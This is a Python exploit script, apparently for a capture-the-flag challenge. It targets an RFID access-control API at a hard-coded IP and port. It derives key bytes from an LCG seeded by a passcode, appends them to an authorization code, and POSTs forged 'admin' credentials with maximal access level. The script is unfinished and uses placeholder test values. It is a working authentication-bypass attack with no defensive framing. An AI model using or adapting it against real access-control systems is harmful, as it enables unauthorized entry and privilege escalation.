#!/usr/bin/env python3
import requests
import json

def bytes_from_num(num):
    """Convert number to 3-byte array"""
    return [int(num >> 16), int((num >> 8) & 0xFF), int(num & 0xFF)]

def random_key_gen(seed):
    """Linear Congruential Generator"""
    return (seed * 0x52c6425d + 0xcc52c) % (2**32)

def generate_auth_sequence(passcode):
    """Generate the authentication keys based on passcode"""
    next_in_seq = passcode
    keys = []
    
    # Generate 2 keys (6 bytes each) for each of 3 sectors
    for i in range(6):  # 6 keys total (2 per sector × 3 sectors)
        next_in_seq = random_key_gen(next_in_seq)
        keys.append(next_in_seq % 0xffffff)
    
    return keys, next_in_seq

def exploit(api_url, uid, username, auth_code, access_level, passcode):
    """Send exploit request to the API"""
    
    # Generate the key sequence
    keys, _ = generate_auth_sequence(passcode)
    
    # The last 2 keys (for sector 34) are appended to auth_code
    last_key = keys[-1]
    key_bytes = bytes_from_num(last_key)
    key_hex = "".join("{:02x}".format(x) for x in key_bytes + key_bytes)  # 6 bytes total
    
    final_auth_code = auth_code + key_hex
    
    creds = {
        'uid': uid,
        'username': username,
        'authorization_code': final_auth_code,
        'access_level': access_level
    }
    
    print(f"[+] Attempting access with credentials:")
    print(f"    UID: {uid}")
    print(f"    Username: {username}")
    print(f"    Auth Code: {final_auth_code}")
    print(f"    Access Level: {access_level}")
    print()
    
    try:
        response = requests.post(api_url, data=creds, timeout=10)
        print(f"[+] Response Status: {response.status_code}")
        print(f"[+] Response: {response.text}")
        
        try:
            result = json.loads(response.text)
            return result
        except:
            return response.text
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

if __name__ == "__main__":
    # Target API
    api_url = "http://154.57.164.61:31938"  # Update with actual endpoint
    
    # We need to extract this from the logic analyzer data
    # For now, let's try to brute force or analyze the capture
    
    print("[*] RFID Access Control Exploit")
    print("[*] Analyzing captured data...")
    print()
    
    # Try common test values first
    test_credentials = [
        {
            'uid': '12345678',
            'username': 'admin',
            'auth_code': '00' * 16,
            'access_level': 'ff' * 16,
            'passcode': 0
        }
    ]
    
    for creds in test_credentials:
        result = exploit(
            api_url,
            creds['uid'],
            creds['username'],
            creds['auth_code'],
            creds['access_level'],
            creds['passcode']
        )
        print("-" * 60)
